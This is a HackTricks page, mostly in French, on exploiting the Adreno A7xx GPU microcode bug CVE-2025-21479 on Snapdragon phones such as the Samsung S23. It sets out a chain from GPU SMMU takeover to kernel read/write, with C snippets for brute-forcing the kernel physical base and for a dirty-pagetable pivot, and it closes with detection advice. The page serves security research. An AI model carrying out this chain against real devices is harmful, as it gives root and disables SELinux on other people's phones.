Adreno A7xx SDS->RB contournement de privilèges (GPU SMMU takeover to Kernel R/W)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cette page abstrait un bug de microcode Adreno A7xx observé en conditions réelles (CVE-2025-21479) en techniques d’exploitation reproductibles : abuser du masquage au niveau IB dans Set Draw State (SDS) pour exécuter des paquets GPU privilégiés depuis une application non privilégiée, pivoter vers GPU SMMU takeover puis obtenir un accès Kernel R/W rapide et stable via un dirty-pagetable trick.

  • Affectés : firmware GPU Qualcomm Adreno A7xx antérieurs à un correctif microcode qui a changé le masquage du registre $12 de 0x3 à 0x7.
  • Primitive : exécuter des paquets CP privilégiés (p.ex., CP_SMMU_TABLE_UPDATE) depuis SDS, contrôlée par l’utilisateur.
  • Résultat : R/W arbitraire de la mémoire kernel physique/virtuelle, désactivation de SELinux, root.
  • Prérequis : capacité à créer un context GPU KGSL et soumettre des command buffers qui entrent dans SDS (capacité normale d’une app).

Contexte : niveaux IB, SDS et le masque $12

  • Le kernel maintient un ringbuffer (RB=IB0). Userspace soumet IB1 via CP_INDIRECT_BUFFER, chaînant vers IB2/IB3.
  • SDS est un flux de commandes spécial accédé via CP_SET_DRAW_STATE :
  • A6xx : SDS est traité comme IB3
  • A7xx : SDS a été déplacé vers IB4
  • Le microcode suit le niveau IB courant dans le registre $12 et filtre les paquets privilégiés pour qu’ils ne soient acceptés que lorsque le niveau effectif correspond à IB0 (RB kernel).
  • Bug : le microcode A7xx continuait à masquer $12 avec 0x3 (2 bits) au lieu de 0x7 (3 bits). Puisque IB4 & 0x3 == 0, SDS était mal identifié comme IB0, permettant des paquets privilégiés depuis un SDS contrôlé par l’utilisateur.

Pourquoi cela compte :

A6XX                | A7XX
RB  & 3       == 0  |  RB  & 3       == 0
IB1 & 3       == 1  |  IB1 & 3       == 1
IB2 & 3       == 2  |  IB2 & 3       == 2
IB3 (SDS) & 3 == 3  |  IB3 & 3       == 3
|  IB4 (SDS) & 3 == 0   <-- misread as IB0 if mask is 0x3

Exemple de diff de microcode (le patch a changé le mask en 0x7) :

@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7

Exploitation overview

Goal: From SDS (misread as IB0) issue privileged CP packets to re-point the GPU SMMU to attacker-crafted page tables, then use GPU copy/write packets for arbitrary physical R/W. Finally, pivot to a fast CPU-side R/W via dirty pagetable.

High-level chain

  • Craft a fake GPU pagetable in shared memory
  • Enter SDS and execute:
  • CP_SMMU_TABLE_UPDATE -> basculer vers le fake pagetable
  • CP_MEM_WRITE / CP_MEM_TO_MEM -> implémenter les primitives write/read
  • CP_SET_DRAW_STATE with run-now flags (dispatch immediately)

GPU R/W primitives via fake pagetable

  • Write: CP_MEM_WRITE to an attacker-chosen GPU VA whose PTEs you map to a chosen PA -> écriture physique arbitraire
  • Read: CP_MEM_TO_MEM copies 4/8 bytes from target PA to a userspace-shared buffer (batch for larger reads)

Notes

  • Each Android process gets a KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Switching contexts normally updates SMMU tables in the RB; the bug lets you do it in SDS.
  • Excessive GPU traffic can cause UI blackouts and reboots; reads are small (4/8B) and sync is slow by default.

Building the SDS command sequence

  • Spray a fake GPU pagetable into shared memory so at least one instance lands at a known physical address (e.g., via allocator grooming and repetition).
  • Construct an SDS buffer containing, in order:
  1. CP_SMMU_TABLE_UPDATE to the physical address of the fake pagetable
  2. One or more CP_MEM_WRITE and/or CP_MEM_TO_MEM packets to implement R/W using your new translations
  3. CP_SET_DRAW_STATE with flags to run-now

The exact packet encodings vary by firmware; use freedreno’s afuc/packet docs to assemble the words, and ensure the SDS submission path is taken by the driver.

Finding Samsung kernel physbase under physical KASLR

Samsung randomizes the kernel physical base within a known region on Snapdragon devices. Brute-force the expected range and look for the first 16 bytes of _stext.

Representative loop

while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue;   // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) {           // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}

Une fois physbase connu, calculez l’adresse virtuelle du kernel avec la map linéaire :

_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)

Stabilisation vers un accès R/W noyau côté CPU rapide et fiable (dirty pagetable)

GPU R/W est lent et de granularité fine. Basculez vers une primitive rapide/fiable en corrompant les PTEs de votre propre processus (« dirty pagetable »):

Étapes

  • Localisez le task_struct courant -> mm_struct -> mm_struct->pgd en utilisant les primitives GPU R/W lentes
  • mmap deux pages userspace adjacentes A et B (par ex., à 0x1000)
  • Parcourez PGD->PMD->PTE pour résoudre les adresses physiques des PTEs de A/B (helpers: get_pgd_offset, get_pmd_offset, get_pte_offset)
  • Écrasez le PTE de B pour qu’il pointe vers la table de pages de dernier niveau gérant A/B avec des attributs RW (phys_to_readwrite_pte)
  • Écrivez via la VA de B pour muter le PTE de A afin de mapper les PFNs cibles ; lisez/écrivez la mémoire kernel via la VA de A, en vidant le TLB jusqu’à ce qu’un sentinel bascule
Exemple d'extrait de pivot dirty-pagetable ```c uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); page_map[0] = 0x4242424242424242;

uint64_t tsk = get_curr_task_struct(ctx); uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);

uint64_t pgd_off = get_pgd_offset((uint64_t)map); uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); uint64_t pmd_off = get_pmd_offset((uint64_t)map); uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); uint64_t pte_off = get_pte_offset((uint64_t)map); uint64_t pte_addr = phys_pte + pte_off; uint64_t new_pte = phys_to_readwrite_pte(pte_addr); kernel_write_u64(ctx, pte_addr + 8, new_pte, false); while (page_map[0] == 0x4242424242424242) flush_tlb();

</details>

## Détection

- Télémetrie : alerter si CP_SMMU_TABLE_UPDATE (ou des opcodes privilégiés similaires) apparaît en dehors de RB/IB0, particulièrement dans SDS ; surveiller des rafales anormales de 4/8-octets CP_MEM_TO_MEM et des schémas excessifs de vidage de TLB

## Impact

Une application locale avec accès GPU peut exécuter privileged GPU packets, détourner le GPU SMMU, obtenir des R/W kernel arbitraires (physique/virtuel), désactiver SELinux et obtenir le root sur les appareils Snapdragon A7xx affectés (par ex., Samsung S23). Sévérité : Élevée (compromission du kernel).

### Voir aussi

<a class="content_ref" href="pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md"><span class="content_ref_label">Pixel Bigwave Bigo Job Timeout Uaf Kernel Write</span></a>

## Références

- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)

> [!TIP]
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenir HackTricks</summary>
>
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
>
> </details>